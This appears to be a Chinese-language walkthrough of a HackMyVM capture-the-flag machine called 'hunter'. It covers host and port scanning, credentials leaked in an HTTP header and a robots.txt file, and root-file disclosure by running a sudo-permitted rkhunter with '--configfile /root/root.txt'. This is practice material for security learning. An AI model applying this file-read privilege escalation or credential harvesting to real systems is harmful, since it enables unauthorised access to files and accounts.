主机发现

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# arp-scan -I eth1 -l
(...)
192.168.56.104  08:00:27:8c:11:2a       PCS Systemtechnik GmbH
(...)
```

发现主机地址为：`192.168.56.104`

端口扫描

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# nmap -p- 192.168.56.104
(...)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
(...)
```

探测8080端口

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# dirsearch -u http://192.168.56.104:8080/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_|||  _) (/_(_|| (_| )

(...)
[20:04:59] 200 -   13B  - /admin
(...)
[20:05:48] 200 -   31B  - /robots.txt
(...)
```

发现有robots.txt和admin

查看robots.txt和admin

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# curl 192.168.56.104:8080/robots.txt
User-agent: *
Disallow: /admin


┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# curl 192.168.56.104:8080/admin
```

```
Invalid JWT.


┌──(root㉿kali)-[~/Desktop/xhh/HMV/hunter]
└─# curl 192.168.56.104:8080/admin -v -X POST
(...)
< X-Secret-Creds: hunterman:thisisnitriilcisi
(...)
Invalid JWT.
```

拿到一个登录凭证`hunterman:thisisnitriilcisi`

登录hunterman

```
hunter:~$ ls -al
total 12
drwxr-sr-x    2 hunterman hunterman      4096 Nov 24 12:11 .
drwxr-xr-x    4 root      root           4096 Nov 16 14:12 ..
lrwxrwxrwx    1 hunterman hunterman          9 Nov 16 14:22 .ash_history ->
/dev/null
-rw-------    1 hunterman hunterman         26 Nov 16 14:14 user.txt
hunter:~$
```

拿到user的flag

```
┌──(root㉿kali)-[~/Desktop/xhh/QQ]
└─# nmap -sT -sC -sV -O -p8080 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-24 20:18 CST
Nmap scan report for 192.168.56.104
Host is up (0.00088s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Golang net/http server
```

8080是Golang起的http服务

加上web下是这样的

```
hunter:~$ ls -al /var/www/html
total 24
drwxr-xr-x    4 root     root          4096 Nov 16 14:19 .
drwxr-xr-x    3 root     root          4096 Nov 16 14:18 ..
drwxr-xr-x    2 root     root          4096 Nov 16 14:19 admin
drwxr-xr-x    2 root     root          4096 Nov 16 14:19 beacon
-rw-r--r--    1 root     root            21 Nov 16 14:19 index
-rw-r--r--    1 root     root            36 Nov 16 14:19 robots.txt
```

不看robots.txt吃大亏

```
hunter:~$ cat /var/www/html/robots.txt
h u n t e r g i r l:fickshitmichini
```

> 由于是Golang、PHP、Java 等语言构建的动态服务，所以：

```
http.HandleFunc("/robots.txt", func(w http.ResponseWriter, r *http.Request)
{
 w.Write([]byte("User-agent: *\nDisallow: /admin"))
})
```

在外部查看的robots.txt和内部静态的robots.txt可能是不一样的

登录huntergirl

```
hunter:~$ su - huntergirl
Password:
hunter:~$ whoami
huntergirl
```

权限提升

```
hunter:~$ sudo -l
Matching Defaults entries for huntergirl on hunter:

 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for huntergirl:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User huntergirl may run the following commands on hunter:
    (root) NOPASSWD: /usr/local/bin/rkhunter
```

允许无密码以root身份执行rkhunter

```
hunter:~$ sudo rkhunter
(...)
     -c, --check                       Check the local system
     -C, --config-check                Check the configuration file(s), then
exit
  --cs2, --color-set2                  Use the second color set for output
        --configfile <file>            Use the specified configuration file
(...)
```

```
hunter:~$ sudo rkhunter --configfile /root/root.txt -C
Invalid SCRIPTDIR configuration option: No filename given, but it must exist.
Invalid INSTALLDIR configuration option - no installation directory specified.
The default logfile will be used: /var/log/rkhunter.log
Invalid TMPDIR configuration option: No filename given, but it must exist.
Invalid DBDIR configuration option: No filename given, but it must exist.
The internationalisation directory does not exist: /i18n
grep: bad regex ' HMV{FhOpuXDUlZFhOpuXDUlZ} ': Invalid contents of {}
Unknown configuration file option: HMV{FhOpuXDUlZFhOpuXDUlZ}
```

通过帮助信息读取到flag